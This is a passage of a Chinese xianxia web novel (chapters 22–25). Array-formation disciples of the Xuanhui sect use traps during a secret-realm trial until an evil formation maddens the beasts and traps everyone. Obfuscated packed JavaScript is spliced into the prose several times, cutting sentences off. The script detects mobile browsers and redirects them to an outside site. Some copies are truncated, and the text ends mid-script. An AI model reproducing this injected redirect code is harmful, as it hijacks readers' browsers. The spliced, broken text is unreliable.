老人继续说着:“我不知道旁人是怎么想的,但就在这之后,全城人都自发出来抵抗。那些个西朔人死了将军,就跟丧家之犬一样,既没底气又想着再咬你几口。后面援军一来,这群狗就再叫不出声来了。” 最开始发问的几个路人彼此对视几眼,他们早便听闻了那场火的经过,此刻纷纷将手中的酒倒在了脚边的地面上,用自己能想到的方式遥敬那些逝去的芳魂,“陵州人,不会忘记你们。” - 梁惜因几人在事情了结后的当日下午就回了玄晖宗。城中一派和乐,谁又能想到这般安宁繁华的陵州城,在二十多年前刚刚经历过一场战乱? 山下,重霄照旧依依不舍地说:“姐姐,你又要走。” 梁惜因失笑:“再过一旬我们就又可以见面了。” “好,我等着姐姐。” 燕明昭:“......”果然还是感觉好怪。 回天璇峰后,谢淳照例去向殷照报告此次下山历练的经过。 殷照听得眉头皱起,沉思须臾道:“照这般说法,那楼中的姑娘既是主动放火,又何至于产生如此浓厚的怨气?” 谢淳神情一凛:“我出阵后曾看到黑色的阵纹,想来应当不是错觉。” 殷照当机立断地道:“走,再随为师去探查一番。” 此时已然入夜,谢淳和殷照并未直接去相思客栈,而是站在不远处一座高楼的屋檐上。 殷照口中默念法诀,掌中流溢出金光。他向着客栈的方向,抬手在虚空中往下一压,随即就见客栈正上方凭空浮现出一个大阵。从凝滞的阵纹不难看出此阵已经失效了。 殷照眼中并无意外,正色道:“缚魂阵,还是被人改过的。” “师尊的意思是?” 两人在高处看着那如一潭死水的阵法,殷照解释道:“寻常的缚魂阵是将阵中神魂困在原地,使之入不了轮回。此阵与归虚阵合用,则还将激发神魂的怨气,加大他们的痛苦。” 殷照指了指缚魂阵的西南角:“此处还融入了传输阵的阵纹,从而能将此间怨气传至他处。那幕后之人定然极为精通阵法,只是不知他为何要这么做。” “那阵中的姑娘岂不是平白被困了二十多年?还有那幕后之人搜集怨气作何?我从未听闻过怨气能有什么用。”谢淳越想越觉此事没那么简单。 殷照淡声说:“此事我会查下去,先不要打草惊蛇。” “那师弟师妹他们...?” “也不用说。此阵设的隐蔽,发现不了也属正常。” 两人心事重重地回去后,正巧迎面碰上了其余三人。燕明昭抱着双臂问道:“师尊,师兄,你们这么晚出去干嘛去了?” 柳甫畅摇着折扇:“该不会是背着我们喝酒去了吧?” 殷照各敲了他们的脑袋一下,“师尊的事你少管。”然后脸一转,对着梁惜因又换了副面孔,“听小谢说这次是你破了阵眼?做得不错。” “运气好而已。”梁惜因笑道。 殷照从乾坤袋中又取出一小袋东西来递给她,“破了就是破了,和运气有何关系?” 梁惜因满怀期待地打开袋子上的绳结,看到了...一堆灰黑色的鹌鹑蛋大小的石头。 梁惜因:“...弟子多谢师尊。” 殷照:“......”你表情变换得这么明显是生怕我看不出来吗?? “这可不是普通的石头,是休与山的棋石。”他连忙补充道。 哦——没听过。 柳甫畅在旁及时科普道:“休与山的棋石?此石蕴含的灵力极为充沛,用作阵石再合适不过。且极为难寻,珍贵无比。” 这么厉害的吗。梁惜因这下是无比真心实意地又说了遍:“弟子多谢师尊!” 燕明昭:“咳咳。” 柳甫畅将扇子合上:“师尊啊。” 谢淳什么也没说,只是笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358980|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向殷照。 殷照:“......” “行了行了,还能少得了你们的吗。”他又掏出三个布袋,“拿去拿去,不过没有你们师妹的多啊。” 几人欢天喜地,“多谢师尊!弟子们告辞!” 殷照在后面追着喊道:“给我好好准备一个月后的秘境试炼!别给我们玄晖宗的阵修丢脸!” 四人早就走远了,燕明昭抛着手中的布袋,问柳甫畅道:“你那的漂亮石头不也多得很吗,会缺阵石?” “那也比不上这棋石啊。”柳甫畅说起这个就头疼,“我之前在山下用那些玉石布阵,结果一群人跟在我后面,我放一颗他们就来捡一颗,赶都赶不走,搞得我根本布不了阵。” 梁惜因听得好笑,二师兄估计是被他们当成人傻钱多的移动提款机了。 一月的时间转瞬而逝,转眼便到了秘境试炼当日。主殿之中,燕明昭小声问梁惜因道:“小师妹,紧张吗?” 梁惜因:“还行...” “行”字才出口,燕明昭就打断她说:“没事师妹,我懂的,第一次嘛,紧张很正常。” 我不是,我没有...她在燕明昭的眼神下突然领悟了什么,又改口说:“是挺紧张的。” 燕明昭对柳甫畅甩了一个“你看吧”的眼神。 柳甫畅故作疑惑:“上一次试炼好像有人紧张得一晚上没睡着,是谁来着,瞧我这记性。”他用扇子敲了敲脑袋,“啊,那人好像是叫...嗷!!” 燕明昭满脸和睦的笑容,“对啊,是谁来着?” 柳甫畅:“......”你倒是先把脚从我鞋上拿开啊,而且为什么每次都踩这一只啊! 梁惜因:“......”二师兄,只能说不作死就不会死。 谢淳似是真的担心梁惜因会紧张,温声说:“无妨,小师妹,这试炼每五年举行一次,就算此次表现不好,下次也还有机会。” 梁惜因听后问:“大师兄,不知我们天璇峰上次表现如何?” 谢淳目光飘忽:“咳,这...过去的事就让他过去吧。” 梁惜因:“?” 柳甫畅就坦率多了,他甩了甩好不容易拯救出的那只多灾多难的脚,说:“七大峰倒数第一。” 梁惜因:“......”这还真是...毫不意外呢。 谢淳找补道:“那不过是因为我们人少而已。此次多了小师妹,定能一雪前耻。” 怎么就“耻”了?天璇峰到底得了多少次倒数第一啊??还有不要突然把希望寄托在她身上啊! 殷照总算是在这时来了,身上还飘着淡淡的酒气。他看了眼殿中的四人,“怎么来这么早?” “既然人齐了,那便出发吧。”他说完一挥手,率先走入了所布的缩地阵中,余下四人紧随其后,转眼间就来到了秘境入口处。 梁惜因这下明白为何殷照说他们来得早了,因为阵修想要去一个地方简直不要太方便。 23. 寒林 此次试炼为玄晖宗内部的试炼,只针对金丹修为及以下的弟子。秘境入口站满了身着宗服的弟子,或是佩剑持刀,或是携琴使符,无不是意气风发,神采飞扬。梁惜因身在其中,颇感新奇。 不远处早已搭好了高台,各峰峰主和长老正在上面彼此寒暄着。他们一行人到得算是早的了,又等了一段时间,高台上的座位才陆续被坐满,坐在最中间的沈逍起身开口道:“人已到齐,下面由我来讲解此番试炼的规则。” 梁惜因向燕明昭小声嘀咕:“怎么是沈峰主?谢掌门呢?” “谢掌门闭关多年,目前由沈峰主代理掌门。等谢掌门成功出关,那便是仙魔大战后修仙界中唯一一个拥有化神修为的修士了。”燕明昭神色中隐隐带着崇拜。 台上沈逍平静的声音清楚地传到了每个人耳中。试炼为期两天,弟子进入秘境后会被传送到不同地点。秘境中散布着被分为不同等级的魔兽和妖兽。制服低阶兽类可获三颗元珠,中阶为五颗,高阶为十颗。 为记录元珠的数量,进入秘境前会给每名弟子发一枚特制令牌,如若成功抢夺他人的令牌,则可以直接夺得那人此前所获的所有元珠,失去令牌者则会被传出秘境。如遇紧急情况,也可以主动丢下令牌离开秘境,视为放弃排名。 秘境各处还设有留影符,用以记录弟子们在秘境中的表现。根据拥有的元珠数量所设的排行也会用法术实时更新。 “最终排名第一者可获灵植银燕草,第二可获修炼法宝千玄玉,第三可获暗器回魄盘。” 梁惜因没有再听下去了,她的脑中只剩下“银燕草”三个字。若是此次能得到,那梁书宥的病就可以痊愈了。 周遭响起窃窃私语声,显然震惊的不止她一人。 “这次的奖励可都是无价之宝啊。” “可不是,尤其是那银燕草,能治百病,三百年才结一株!” “看来这次要拼一把了。” 几句话听得梁惜因心里凉凉的,她问燕明昭:“师姐,你说我们四人中可能有人得第一吗?” 燕明昭怜惜地碰了碰她的额头:“怎么开始说胡话了,这试炼马上就开始了。” 梁惜因:“......”好的,她懂了。 在确保每个人都拿到令牌后,秘境便正式开启了。谢淳温和地对他们笑道:“尽力而为即可,莫有压力。” 梁惜因点头,将令牌藏好。随即深吸一口气,与众人一同踏入了秘境。 此次秘境试炼的地点虽名叫寒林,却和“寒”字一点关系都无。放眼望去尽是参天古木,郁郁葱葱,空气清新至极。阳光透过叶片的缝隙,星星点点地洒落进来,在地面投下一片片金斑。周遭一片寂静,唯有风过草木之声。 梁惜因环视了遍四周,只觉每棵树都长得差不多,很容易使人迷失方向。她在附近转了转,没发现有人影,于是果断飞身跃上眼前枝桠最茂密的一颗树,手执阵石开始布阵。 再三确认阵没问题且足够隐蔽后,梁惜因背靠树干坐在了枝干上,开始守株待兔。 没错,守株待兔。总不能指望他们这群阵修去近战啊,想想就可怕好吗! 也不知给她传来的这地方是有多偏僻,梁惜因等了好一会,也只有两只低阶魔兽和一只中阶妖兽入阵,随后便再无动静。 她百无聊赖地坐在树上,甚至有些想睡觉。 就在这时,不远处传来隐约的脚步声。梁惜因一激灵,借着枝叶遮掩身形,凝神细听。 听脚步声应是有三人,其中一名男修道:“试炼规则历来大同小异,此次还是以合力击败落单的剑修和刀修为主。” 一女修附和道:“师兄说得在理,往往也是那些人手头的元珠最多。” 待他们走进视线范围后,梁惜因见这两男一女手中各抱着一把七弦琴,想来是摇光峰的音修。 方才没开口的男修说:“师兄师姐,我怎么感觉此地不对劲?好像有些...过于安静了。” 你感觉对了哥们! 眼见这三人走入了阵法范围,梁惜因不再犹豫,当机立断地向阵中注入灵力。女修低头看着脚下浮动的阵纹,惊呼道:“是阵修!” 三人慌乱地将琴置于面前,做出防御姿态,然而已经晚了。不过几息功夫,他们便一齐瘫倒在地。 梁惜因跳下树来,又是惊喜又是意外,这眩迷阵用在人身上的效果比她想象的还要好,尤其是配上殷照给她的棋石后,效果更是惊人。 三人浑身无力,手脚动弹不得,但意识清醒。最先说话的那男修眼见一清丽出尘的女修从天而降,又无比自然地在他身上翻找着令牌,咬牙切齿道:“你们阵修...卑鄙无耻...每次都搞这一套。” “这叫一招鲜,吃遍天。”梁惜因握着摸出来的三张令牌,对身形慢慢淡去的几人挥了挥手,笑眼道:“再会。” 三人:“......”可恶啊!! 梁惜因回到树上,把自己的令牌也翻找出来,果见上面发着微光的小字有了新变化: 元珠总数:一百五十六 当前排名:五百一十四 ...话说此次参加试炼的一共有多少人来着? 而新获得的那三张令牌上的数字已然归零,令牌本身也慢慢变得透明,直至消失。 秘境外,殷照喝了口茶,坦然面对着摇光峰峰主席青如的目光:“看我作甚,听到我徒儿说的话没,一招鲜吃遍天!”显然,他当年也是这么过来的。 席青如是又好气又好笑,扶额道:“你们阵修啊...” 天权峰峰主崔峥爽朗地笑了几声:“席妹子啊,这也不能怪咱殷老弟,人阵修本来就不容易,要是这次又倒数...” 殷照利落地往他嘴里塞了块绿豆糕,“吃你的吧。” 崔峥嚼吧嚼吧把点心咽下,眼睛一亮:“哎,咱不提别的,这点心倒是做得一次比一次好了嘿。” 没人理他。席青如看着影像中的梁惜因,颇有兴味地问殷照:“这就是你新收的小徒弟?” “如何?天生的阵修料子,天赋极佳。”殷照扬着下巴说。 “瞧着确实是个好苗子。”席青如赞同道。 开阳峰峰主段凌轩从方才起便皱着眉头一言不发,两眼紧紧盯着空中的一面影像。崔峥不经意间瞥见了,走过去拍了拍他的肩:“段老兄,搁这看啥呢?” 他也扭头去看那影像,随后了然地说:“你也在看殷老弟的小徒儿啊,这女娃娃确实不错。” 段凌轩闻言,将目光移向殷照,声音里带着不可置信:“她也是阵修?” 他没有压低嗓音,在一众人间显得极为突兀。殷照敛了神色,不解道:“段峰主的意思是...?” “她长得太像那位了。”段凌轩阖了阖眸,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358981|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们入宗门入得迟,但我昔年在开阳峰当弟子时是亲眼见过那位的。” “你是说...含盈仙子?”席青如和殷照交换着视线,“可是...这怎么可能呢,谁都知道那位在两百多年前就被魔尊杀害了,神魂俱灭,甚至都无法转世。” “这我当然知道。”段凌轩又面向殷照问:“殷峰主,不知令徒何名?” “梁因。”殷照顿了须臾才答道。 段凌轩将这名字含在口中念了几遍,神情凛然:“梁因...梁因,连名字都只有一字之差。殷峰主,这天底下当真有如此巧合之事吗?” “哎,这谁知道呢,天下之大无奇不有。”崔峥挠了挠头。 席青如戳了他几下,让他别说话。 殷照沉默片刻,忽地大笑出声:“照段峰主这般说,那我岂不是把师祖收作徒弟了?她只不过是我天璇峰的一个弟子,和两百多年前的那些事没有半分关系。段峰主多虑了。” 段凌轩的眉头仍就紧锁着,这事听起来确实匪夷所思,但是...他看向影像,真的太像了,几乎可以说是一模一样。 “但愿是我多虑了。”他叹道。 “几位峰主,玩不玩叶子牌?”围坐在一起的长老们向这边喊道。 “诶,来了!”殷照勾住段凌轩的肩,“走了段峰主,打牌去。本来年纪就大,想得越多老得越快。” “不是,你什么意思?!”段凌轩大喊,一时也顾不得再细思此事了。 四人从长老手中分得一副牌,边打边聚在一起聊着。 一位绿衣长老看了眼排名,毫不意外地说:“此次天枢峰又是遥遥领先啊。” 崔峥一拍桌子:“不就是仗着人多吗,咱们天权峰也不差!”他面带骄色地道:“看到榜上的第一名没?咱徒弟!” 有长老称赞道:“这才半天时间,元珠数就破两千了,后生可畏啊后生可畏!” 崔峥大笑:“哈哈哈那也是咱教得好!” 殷照:“......” 段凌轩拍了下他的后脑:“别笑了!该你出牌了!” 席青如指尖绕着一缕头发:“这试炼真是越来越没意思了,次次都一个样,一点新意都没有。” 绿衣长老说:“席峰主,这怎么能叫没意思呢,平时大家哪能有功夫一起打牌啊。” “说得也是...等等,为什么又是你小子赢啊!”她愤愤地指向殷照。 殷照拼命把嘴角往下压:“运气而已,运气而已。” 连输不知多少把的段凌轩把牌一摔,对独自立在远处的玉衡峰峰主贺千遮喊道:“贺峰主,玩不玩叶子牌?” 贺千遮清瘦的身形一顿,回过头来,露出一张干净温雅的脸。他婉言拒绝道:“我不会玩牌,还是诸位一起吧。” “不会我们可以教你...”段凌轩还待再喊,殷照已把他摔的牌塞回他手中,说道:“行了,他什么性子你又不是不知道,大不了下一把我让让你,如何?” 段凌轩更是气愤:“谁要你让啊!” 没过多久,高台上已然成了玄晖宗的吐槽大会,其间充斥着“我那徒弟实在是不让人省心”,“我那徒弟才是,想尽办法偷懒不练功,这样下去如何是好”之类的话语。一番交流下来,众人达成了高度一致的共识——这师尊就不是那么好当的。 殷照:......也还好吧其实? 24. 相斗 梁惜因刚把令牌重新收好,就听见不远处传来杂乱的脚步声。没料到这么快就又来人了,梁惜因连忙上树藏好。 来的人还不少,共有六人,手中各持一把剑。走在最前的高个剑修用剑分开挡在身前的藤曼,疑惑道:“此处为何如此安静...” 话音未落,就见一长着鱼鳍,状似狐狸的妖兽从前方的树丛中跃了出来。高个剑修来不及反应,眼看就要被扑上,他身侧的少年眼疾手快地提剑刺去:“师兄小心!” 咦,这声音...梁惜因定睛一看,果见是杜昱。 遇到熟人了啊。 “噗呲——”,一剑穿喉,妖兽应声倒地。十颗半透明的珠子自它的尸体上浮现,又飞入了杜昱体内。 梁惜因暗惊。竟是高等妖兽,想不到剑鞘哥的本事还真不小。 高个剑修松了口气:“多谢六师弟了。” 这一口气还没松完,又有四人从前方的林中赶来,手握长刀,气势汹汹。为首的方脸刀修见了他们就喊:“你们几个,有没有看到一只朱獳?” 他又走近几步,一低头就看见了地上妖兽的尸体,顿时大怒:“是谁杀的!这妖兽分明是我们几个在追!” 高个剑修丝毫不惧:“怎么,这朱獳身上写你名字了?秘境之中,本就是各凭本事。” 方脸刀修身后的紫发带少女面露不屑:“要不是你们几个,这朱獳早就被我三师兄斩了。我看你们剑修也就只会干这种捡漏的事了。” “亏你们还是刀修!就知道逞嘴上功夫!”杜昱说着就要冲过去。 高个剑修拦住他,同样面色阴沉:“朱獳已死,你待如何?”他问方脸刀修。 方脸刀修扬眉:“敢不敢比试一场?谁输了就把令牌乖乖交给对方。” 剑修们义愤填膺:“比就比,怕你们不成?” “我看你们也就只能当千年老二了,一群莽夫!” 刀修们也不甘示弱:“早就看你们不顺眼了!” “怎么好意思说我们是莽夫?也不看看你们自己!” 好精彩。树上的梁惜因换了个舒服点的姿势。 秘境外,不少峰主和长老也围到了这面影像前。 “打起来,打起来!” “诶,猜猜看哪方会赢。” “难说,这几位可都是两峰弟子中的佼佼者。” 殷照站在最后面,笑而不语。 方脸刀修又说:“且慢,你们有六人,可我们只有四人。” “无妨,大师兄,就算少两个人,我们也照样能把他们打趴下。”紫发带少女浑不在意地说。 杜昱冷哼一声:“我看你待会还能不能再狂下去!” 高个剑修说:“要对决就公平对决,我们不占这便宜。”他向身后几人使了个眼色,便有两人主动出来站到了一边。 紫发带少女拨了拨长发:“无所谓!等把你们四个都打服输了,我再去对付他们。” 高个剑修冷冷地盯着她:“真是好大的口气。” “少废话!来战!”紫发带少女说着就提刀冲了上来,结果冲到一半,两腿一软,直接跪了。 两边人全都愣住了,还是杜昱率先打破了寂静,大笑道:“哈哈哈哈,怎么了这是,还没打就要认输了吗?” 紫发带少女:“......” 她气得简直要说不出话来:“阵...阵...” 杜昱还在笑:“真什么?真强是吗?我知道我们剑修一向很强。”话音刚落,他就“啪唧”一声,也倒在地上了。 杜昱:“......” 他颤巍巍地伸出手来:“阵...阵...” 其余人也察觉出不对来了,只是这时想跑已来不及了。下一秒,阵纹大盛,就连几人中修为最高的高个剑修和方脸刀修也难以抵挡地瘫倒在地。 梁惜因从树上一跃而下,在十道快要把她射穿的目光中悠悠然地笑道:“打打杀杀的多不好呀,几位说是不是啊?” 秘境外的殷照同样承受着众人的目光:“哈哈哈不愧是我徒儿,这打来打去有什么好打的!” “精彩!实在是精彩!这谁能想到啊!” “这小姑娘藏得确实好。” “好了,这下不用纠结是天枢还是天权峰的弟子赢了,半路杀出个天璇峰的来。” 崔峥人都傻了:“不是,你、我、她...” 席青如轻笑:“好一个黄雀在后。” 天枢峰的冯长老向殷照笑道:“此番是他们几个技不如人,在决斗前连先扫除周围威胁都不知晓,是该长长教训了。” 这倒是让殷照有几分过意不去了:“哪里哪里,我徒儿这做法...是不厚道了些。” 不厚道的梁惜因正面对着紫发带少女的强烈谴责:“卑鄙!有本事就和我正面打上一场!” 我有什么想不开的要和你打。梁惜因从她身上摸出令牌:“这位小师姐,人与人之间,可不是光有打架二字的。” 其实她也很想见识一下剑修与刀修的对决,听着就很热血沸腾有没有!但自己离他们实在是太近了,万一被波及到,那就直接告别秘境了。所以还是先下手为强比较好。 于是真正的捡漏之王出现了。 方脸刀修仰面朝天,欲哭无泪:“想我一世英名,竟次次败于阵修之手。” 梁惜因:“......”真的假的啊,那哥们你怎么也不长点记性? 高个剑修还在挣扎着想起身:“可恶!你们这群阵修!”他的身形渐渐变淡,“我还会再回来的——” 五年后再回来吧,也不一定回得来就是了,每次秘境试炼的地点都会换。最后,这十人中就剩杜昱一人还躺在地上。他眼巴巴地望着梁惜因道:“梁师妹,相识一场,你一定不忍心...” 梁惜因很想说:不,我忍心。 但她犹豫片刻还是说:“放你走可以,但你可不能再反过来抢我的令牌。” 杜昱大为感激:“梁师妹你放心好了,我是那种人吗。咱们井水不犯河水,就当这事没发生过。” 梁惜因收了灵力,杜昱果如其言飞快离开了:“多谢梁师妹!以后有什么事尽可来天枢峰找我!” 而高个剑修几人还在秘境外等着:六师弟怎么还没出来... 梁惜因坐回树上,拿出令牌看了一眼: 元珠总数:九百八十三 当前排名:一百二十二 好家伙,直接升了近四百名,剑修和刀修果然能打。梁惜因深觉这种试炼对阵修而言实在是太无聊了些,她也不过是在树上坐了大半天。 不过她也深知自己后面不会再有这样的好运气了。越是能留到后面的人,实力和戒心就越不容小觑。 但不论如何,此次的收获已足够多了。他们阵修也是可以不用垫底的! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14366016|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可能就是因为这次运气太好,接下来直到夜里,梁惜因都没再蹲到人。即使有人从旁路过,也都没有进入眩迷阵的范围。梁惜因拾起阵石,打算先寻个地方过夜,等天明后再换个地方蹲人。 她跳下的时候险些栽倒在地,在树上待太久了,腿有些麻。这地方人迹罕至,其实就在树上凑合一晚也不是不行,但她就怕自己睡到半夜从树上掉下来。万一这时再路过什么人,那可就直接光速白给了。 也不知师兄师姐他们怎么样了,梁惜因活动着身上的关节。还有阿霄,自己这一旬没有回去,虽已去信说明过了,但他心里估计还是会藏着些失落,下次见面可得好好哄一哄。 梁惜因没走远,就在这附近寻了块大石。再布好简单的防护阵法后,她便倚靠在这大石背风的一面,开始闭目休憩。 她睡得并不安稳,清楚地知道自己在做梦,却无法从梦中脱离出来。梦的内容极为混乱,黑雾裹挟着阵纹,剑影穿梭于半空,鲜血溅了满地... 就在这时,她忽然感到眼前一阵强光,身下的地面也随之颤动起来。怎么回事,这么快就天亮了吗,梁惜因猛然从梦中惊醒,发现那强光正是由防护阵发出的。 周围有危险! 她警觉起身,就见一大鸟正从上方向她扑来,形状像雕而头上长角。是蛊雕!这玩意可是会吃人的,要不是梁惜因提前做了准备,怕是已被那利爪撕下一块肉来了。 蛊雕见一次进攻不成,扇了两下翅膀后还欲再击。梁惜因慌忙用诀抵挡,怎料那蛊雕受了一击,攻势更为凶猛,眼中闪着红光,发出的叫声有如婴儿的啼哭,猛地向她俯冲而来。 此刻布阵已来不及了,秘境中又不许非符修之人携带符咒。梁惜因按着藏在腰带下的令牌,在地上翻滚躲避着。不到实在没办法的时候,她不想主动放弃。 她又捏了几道诀,但都被蛊雕扑着翅膀躲过去了。梁惜因一手撑着地面,还待施诀,蛊雕就已叫嚣着飞冲过来了。 糟了!梁惜因将令牌握在手中,正要扔下,却见一缕黑雾自她左手手腕而出,如利剑一般,飞快地将蛊雕穿透了。鲜血飞溅,蛊雕连一声惨叫都没来得及发出,就落在地上一动不动了。 梁惜因双眼瞪大,边平复着呼吸边将左手举起,她想起来了...是阿霄。 是阿霄在护着她。 自那日见过重霄回去后,她并未对此多做在意,想不到这怨气在关键时刻竟能有此奇效。梁惜因说不出心里是什么感受,只觉一颗心像是被春日暖阳下的溪水包裹着——柔软,而又温暖。 她起身前去查看蛊雕的尸体,毫不意外地观察到自它身上散出的屡屡黑气。 从方才起她就觉得不对劲了,蛊雕充其量也只算是中阶妖兽,不该有如此大的凶性。它刚刚那副眼泛红光之态,倒像是被什么东西刺激到了。 这黑气不像是怨气,更像是魔息。只是妖兽身上为何会沾有魔息?又为何这会发生在此次试炼的秘境中?峰主、长老还有余下的同门又是否知道此事? 不及深思,梁惜因快步向林中而去。她得去找人会合。 - 几百里外的陵州城内,夜色平静,明月高悬。独自坐在院中下棋的重霄眉目一凛,险些将指尖棋子捏碎。 他垂眸看向掌中萦绕的怨气,面沉似水。 她有危险。 回忆起信中的话语,重霄站起身。寒林秘境... 25. 邪阵 梁惜因越往里走,心头的不安就越浓烈。怨气自秘境的地面向上泛着,其中还交杂着魔息,透着令人心慌的气息。 路上遇到的几个同门皆是面带惊恐,行色匆匆。她随手抓住一人问道:“这位师兄,发生何事了?” “不知啊。”他语速飞快地道,“我本是和我师弟在一处洞穴中过夜,怎料周围的妖兽和魔兽突然都像了疯了一样来攻击我们。我和我师弟在应付之时走散了,眼下我正要去寻他。” “好,你去吧。”梁惜因松开他。 看来秘境中的所有兽类都受到了影响。梁惜因从乾坤袋中取出阵盘,继续向人声多的地方走去。 她佩的乾坤袋是为了此次试炼特制的,阵修只能往里面放阵盘,作用极为有限。梁惜因刚拿到手的那一刻是真的很想吐槽。 一条魔蛇悄无声息地从树上滑落下来,张大了口就要向她袭来。梁惜因一直警惕着四周,正要侧身躲开,就见剑光一闪,蛇头被斩落在地,咕噜噜地滚着,溅出的血液在树干上留下一道猩红的痕迹。 梁惜因意外侧首,惊喜道:“杜师兄!” 杜昱咧嘴笑道:“又见面了,梁师妹。” 终于遇着一个熟人,梁惜因连忙问他:“杜师兄,你可曾看到我师兄师姐他们?” “我没留意,这一路过来太乱了,天又黑。” “那杜师兄可知现在是什么情况?这些兽类缘何如此?” “不知。以前秘境中从没出现过这种情况,”杜昱擦着滴血的长剑,“我和几个同门一路上都在对付这些兽类,它们不仅变凶了,实力也增强了。这秘境怕是不能再待下去了。” 正说话间,他又斩了两条游过来的魔蛇:“我去,这蛇怎么越杀越多啊!” “坏了我忘了,”杜昱一拍脑袋,“魔兽的血会引来同类。梁师妹,我们快走!” 两人一路疾奔,杜昱用剑应付着袭来的兽类,梁惜因则捏诀从旁协助他。 恐慌的情绪在整个秘境中蔓延着,兽类受黑雾影响的时间愈长就愈难对付。而不少弟子经过昨日一天的比拼,很快就筋疲力尽起来。 梁惜因和杜昱在路上又遇到几个同门,便一道结伴走着,轮流在前方探路。忽见不远处的草丛中有两个人,几人连忙围了上去。 只见一圆脸女修半抱着一个昏迷不醒的男修,鲜血在他们身下汇聚成一小滩。梁惜因借着月色看清了男修身上狰狞的伤口。圆脸女修见着他们,本来焦急的面容顿时流露出惊喜来:“有没有医修啊,快救救我师兄吧,拜托了!” 一名身材娇小的女修走过去蹲下:“我是玉衡峰的苏柚,你师兄怎么了?” 圆脸女修快哭了:“我师兄为保护我,在与诸怀缠斗的过程中被伤了,求你救救他吧!” 苏柚探查了番,安抚她道:“无事,你师弟是失血过多才昏过去的,我这就为他疗伤。” 杜昱抱着剑,身上大片的鲜红皆是被杀死的兽类的血迹,他问圆脸女修:“既如此,你为何不将你师兄的令牌丢了,把他送出秘境?” 圆脸女修彻底哭出来了:“试过了没有用啊,出不去了,我们都被困在这里了!” 众人大骇,之间的想法本是能撑多久就撑多久,撑不住了大不了把令牌一扔,就能从秘境中出去了。结果现在告诉他们令牌没有用了?! 杜昱不信邪地把令牌从衣领处拿出,干脆地往地上一扔。而几息之后,什么变化也没有。 “完了,真被困在这了。” 几个胆小的女修跟着哭了出来:“这下可怎么办,这么多妖兽魔兽,我们不会死在这儿吧。” “这些兽类好可怕,不是试炼吗,为何会变成这样...” 梁惜因在一开始的震惊过后,很快镇定下来,越是这种时候越不能慌乱。她提高嗓音道:“诸位莫慌,别忘了我们的师尊还在外面,他们定不会弃我们于不顾。更何况秘境在第二日黄昏就自动结束了,各位不妨再坚持坚持。” 圆脸女修已然崩溃了:“可师尊他们要是有办法的话,为什么现在还不来?而且我们真的能撑到第二日下午吗?” 梁惜因:“......” 人群中竟也响起断断续续的附和声,梁惜因还欲再说什么,就见杜昱敛了神色,低声道:“戒备。” 众人重又安静下来,周遭唯余草叶摩挲之声。少顷,有人嘟囔道:“杜师兄你是不是多心了啊,怪吓人的。” 然而下一刻,一群魔狼就从林中嚎叫着向众人扑了过来,杜昱当即提剑冲到最前面,二话不说地斩了一头魔狼:“都当心些!保护姑娘们!” 余下的人中有能打的也立马跟了上去。魔狼的体型是一般狼的两倍,獠牙外露,仿佛没有痛觉一般,被伤了也不知退缩,不断向众人发起进攻。 梁惜因和几名女修被众人围在最里面,她飞速观察了遍局势和周围环境,随即果断地向杜昱跑去。 苏柚想拦她没拦住:“梁师妹,小心!” 梁惜因捏诀替杜昱击退了一头从侧面扑来的魔狼,杜昱正偏头要谢,一见是梁惜因,眼珠子都要瞪出来了:“姑奶奶,这前头这么危险,你跑过来作甚?” 梁惜因神情严肃,示意他看向不远处的一块空地:“杜师兄,还请掩护我。” “我要布阵。” 谁说阵修就只能躲在别人身后?他们照样能保护想保护的人。 - 秘境外,殷照本是歪在椅子上看着影像里的自家徒儿。在看到那只蛊雕后,他面色骤然一变,猛地从椅子中站了起来。 不止他一人发现了异状,不少长老都眉头紧锁:“怎么回事,这妖兽不该如此凶残啊。” “我徒弟不是已经把令牌丢了吗,为何还在里面?他身上可还有伤啊。” 所有长老和峰主都围在了影像前,沈逍凝眸看着缠绕在兽类身上的黑气,与殷照对视一眼。殷照向他点了点头:“是幽炼阵。” 席青如疑惑地重复了一遍:“幽炼阵?” 殷照双拳紧握,神色是前所未有的凝重:“邪阵的一种,本来已是失传许久了。我也只在古书上看到过。” “幽炼阵可将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376162|152851||http|test|mini|href|location''.split(''|''),0,{})); () { 